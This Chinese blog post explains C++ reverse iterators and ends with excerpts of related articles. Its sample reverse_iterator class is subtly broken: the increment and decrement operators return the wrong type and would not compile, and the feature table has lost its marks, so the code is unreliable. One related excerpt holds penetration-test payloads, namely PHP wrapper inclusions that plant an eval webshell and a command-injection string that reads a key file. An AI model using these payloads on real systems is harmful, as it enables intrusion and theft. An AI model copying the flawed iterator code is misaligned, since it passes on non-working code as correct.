c++-reverse_iterator

C++反向迭代器

反向迭代器是C++标准库提供的一种适配器,它允许我们以相反的顺序遍历容器,反向迭代器是正向迭代器的封装

迭代器可以分为两类:

  1. 方向性质

    • 单向迭代器(Forward Iterator

    • 双向迭代器(Bidirectional Iterator

    • 随机访问迭代器(Random Access Iterator

    • 输入迭代器(Input Iterator

    • 输出迭代器(Output Iterator

  2. 遍历方向

    • 正向迭代器(iterator

    • 反向迭代器(reverse_iterator

特性输入迭代器输出迭代器单向迭代器双向迭代器随机迭代器
读(*iter
写(*iter =
++
+
-
  • 常见的单向迭代器:forward_listunordered_mapunordered_set

  • 常见的双向迭代器:listmapset

  • 常见的随机迭代器:vectorstringdeque

支持反向迭代器,普通迭代器必须支持 ++-- 运算符操作。

代码实现

// reverse_iterator.hpp
#pragma oncenamespace simulate_reverse_iterator {template<typename Iterator , typename Ref , typename Ptr>struct reverse_iterator {typedef reverse_iterator<Iterator , Ref , Ptr> self;reverse_iterator(Iterator iter) :iterator(iter) {}Ref operator*() {self temp(iterator);return *--temp;}Ptr operator->() {return &(operator*());}self& operator++() {return --iterator;}self& operator--() {return ++iterator;}bool operator==(const self& s) {return iterator == s.iterator;}bool operator!=(const self& s) {return iterator != s.iterator;}Iterator iterator;};
}

注意事项

  • 反向迭代器的operator*返回的是前一个位置的元素,这是为了保持与正向迭代器相同的半开区间语义

    • rbegin() 对应正向迭代器的end()

    • rend() 对应正向迭代器的begin()

  • 反向迭代器的 ++ 操作是对应正向迭代器的 -- 操作,-- 操作时对应正向迭代器的 ++ 操作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/91670.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/91670.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux内核驱动:电流/电压/功率监控模块INA226调试

目录背景一、芯片介绍二、手册三、内核驱动配置3.1 设备树配置3.2 修改内核配置文件3.3 编译四、内核驱动分析1、初始化流程2、属性文件/解释五、调试和计算背景 最近调试了一款德州仪器的带有I2C控制接口的可以实现电压、电流、功率监测&#xff0c;并可以进行报警设置的芯片I…

ACL 2024 大模型方向优秀论文:洞察NLP前沿​关键突破

关注gongzhonghao【计算机sci论文精选】近年来&#xff0c;以Transformer架构为核心的大语言模型重塑了自然语言处理领域的技术范式。当前ACL相关研究呈现多维度深化态势&#xff0c;从开源社区推动轻量化架构与低成本训练技术革新&#xff0c;到学术界探索检索增强等机制突破长…

乐创E20H1型IO从站与Ethercat转Profinet网关转换器的配置应用案例

本案例聚焦于西门子 1200PLC 与 E20H1 - T01 IO 从站的连接。在正常运行过程中&#xff0c;E20H1 - T01 IO 从站需支持 EtherCAT 协议&#xff0c;作为 EtherCAT 从站&#xff1b;而监控系统所采用的西门子 S7 - 1200 系列 PLC 则支持 PROFINET 协议。由于协议的不一致性&#…

【2】专业自定义图表创建及应用方法

一、专业自定义图表创建及应用方法1&#xff09;不是图表的图表制作方法例题1:迷你图表制作方法&#xfeff;定义&#xff1a;指依靠Excel基本制图功能之外的其他功能&#xff08;如公式、条件格式、迷你图等&#xff09;创建的数据可视化图表特点&#xff1a;引用数据少且占用…

embodied复现所需docker环境配置粗略流程

由于embodied很多安装包都需要linux环境&#xff0c;所以为了建立虚拟ubuntu系统&#xff0c;在不适用vmvare的情况&#xff0c;可以考虑使用docker容器来实现&#xff0c;也不会出现的vmware的卡顿情况 1.首先建立容器&#xff0c;并和pycharm建立连接,先安装docker desktop&a…

2025.8-12月 AI相关国内会议

以下是2025年8月至12月国内与人工智能&#xff08;AI&#xff09;相关的重要会议及活动总结&#xff0c;按时间顺序排列&#xff1a; 2025年8月第六届人工智能与机电自动化国际学术会议&#xff08;AIEA 2025&#xff09; • 时间&#xff1a;8月1-3日 • 地点&#xff1a;安徽…

计数组合学7.10(舒尔函数的组合定义)

7.10 舒尔函数的组合定义 前几节讨论的四个基 mλm_{\lambda}mλ​、eλe_{\lambda}eλ​、hλh_{\lambda}hλ​ 和 pλp_{\lambda}pλ​ 的定义都较为直观。本节将介绍第五个基&#xff0c;其元素记为 sλs_{\lambda}sλ​&#xff0c;称为舒尔函数&#xff0c;其定义则更为微…

【前端】CSS Grid布局介绍及示例

CSS Grid 简介 CSS Grid 是一个二维布局系统&#xff0c;专为处理行和列的复杂网页布局而设计。与 Flexbox&#xff08;一维布局&#xff09;不同&#xff0c;Grid 允许开发者同时控制行和列&#xff0c;实现更精确的布局结构。 核心概念&#xff1a; Grid 容器&#xff1a;通过…

[echarts]多个柱状图及图例

前言 实现多个柱状图功能&#xff0c;并设置多个图例样式&#xff0c;并定时刷新数据 react引入echarts import React, { useEffect, useRef } from react; import * as echarts from echarts; import DeviceApi from /api/screen/DeviceApi;const CenterDeviceSummary (props…

【读文献】Capacitor-drop AC-DC

[1] F. Song, et al., “An 85-to-230VAC to 3.3-to-4.6VDc 1.52W Capacitor-Drop Sigma-Floating-SC AC-DC Converter with 81.3% Peak Efficiency,” 2025 IEEE International Solid-State Circuits Conference (ISSCC), 2025.以下是针对该电容降压AC-DC转换器设计的通俗版解…

`StreamConfigurationMap` 实现逻辑与解析过程详解:相机流能力的声明、匹配与验证机制全景

StreamConfigurationMap 实现逻辑与解析过程详解:相机流能力的声明、匹配与验证机制全景 关键词: StreamConfigurationMap、CameraCharacteristics、OutputFormat、InputFormat、Size 配置、帧率范围、流兼容性、配置失败调试 摘要: StreamConfigurationMap 是 Android 相…

关于“PromptPilot” 之3 -Prompt构造器核心专项能力:任务调度

本篇问题Q20. 以上设计是“原始制造商”的典型范式。在三个不同理论层级&#xff08;Prompt 构造进程的三个子进程&#xff08;线程&#xff09;&#xff09;分别适合三种不同的取向&#xff1a; 面向目标、面向结果和面向过程。不同取向将采取不同的策略 和不同的 监控方式&am…

Solana: 链上开发入门,用 Anchor 和 Rust 构建第一个程序

大家好&#xff0c;如果大家对 Solana 开发充满好奇&#xff0c;但又对 Rust 语言感到陌生&#xff0c;那么大家来对地方了。很多人在探索 Solana 这条高性能公链时&#xff0c;遇到的第一个门槛就是其原生开发语言——Rust。Rust 以其高性能和内存安全著称&#xff0c;但学习曲…

node.js之Koa框架

Koa框架介绍Koa 是一个新的 web 框架&#xff0c;由 Express 原班人马打造&#xff0c;致力于成为一个更小、更富有表现力、更健壮的 Web 框架。Koa 解决了 Express 存在的一些问题&#xff0c;例如&#xff1a;中间件嵌套回调&#xff08;callback hell&#xff09;错误处理不…

C/C++离线环境安装(VSCode + MinGW)

因为工作需要部署离线C环境&#xff0c;网上有许多大佬分享了不错的教程&#xff0c;总结一篇完整教程自用&#xff0c;使用VSCode MinGW感谢一、安装准备二、软件安装1.安装MinGW2.安装VSCode及插件三、测试环境1.创建工程文件夹2.创建cpp文件总结感谢 本教程参考了以下教程…

如何创建一个飞书应用获取自己的飞书AppID和AppSecret?

这篇文章是接下来要开发「监控 X&#xff08;原Twitter&#xff09;博主账号最新推文」 自动化工作流的先导文章&#xff0c;由于内容相对独立&#xff0c;也可用于飞书应用的其他场景&#xff0c;故单独发出来&#xff0c;方便查阅。 监控X平台指定博主最新发文&#xff0c;需…

Prompt工程记录

Prompt基本建议&#xff1a;1.在查询中包含详细信息以获得更相关的答案总结会议笔记:先将会议笔记总结为一段&#xff0c;然后写一份演讲者的打分表&#xff0c;列出他们的每个要点&#xff1b;最后列出发言者建议的下一步行动或者行动项目&#xff08;如果有的话&#xff09;2…

CTE公用表表达式的可读性与性能优化

一、可读性优化CTE通过WITH子句定义临时命名结果集&#xff0c;将复杂查询分解为逻辑独立的模块&#xff0c;显著提升代码清晰度与可维护性‌&#xff1a;‌解构嵌套查询‌&#xff1a;将多层嵌套的子查询扁平化&#xff0c;例如传统嵌套统计订单的查询可重构为分步CTE&#xf…

8.1.2 TiDB存储引擎的原理

TiDB 简介 TiDB 是 PingCAP 公司自主设计、研发的开源分布式关系型数据 库&#xff0c;是一款同时支持在线事务处理与在线分析处理 (Hybrid Transactional and Analytical Processing, HTAP) 的融合型分布 式数据库产品&#xff0c;具备水平扩容或者缩容、金融级高可用、实时 …

PTE之路--01

空格绕过:/**/ URL编码伪协议:pagezip://xxx/xx/x/x/xxx.jpg%23解压后的名字pagephar://xxx/xx/x/x/xxx.jpg/解压后的名字pageddata://ata://text/plain,<?php eval($_POST[x]) ;?>pagedata://text/plain,<?php eval($_POST[x]) ;?>127.0.0.1 | grep . ../key…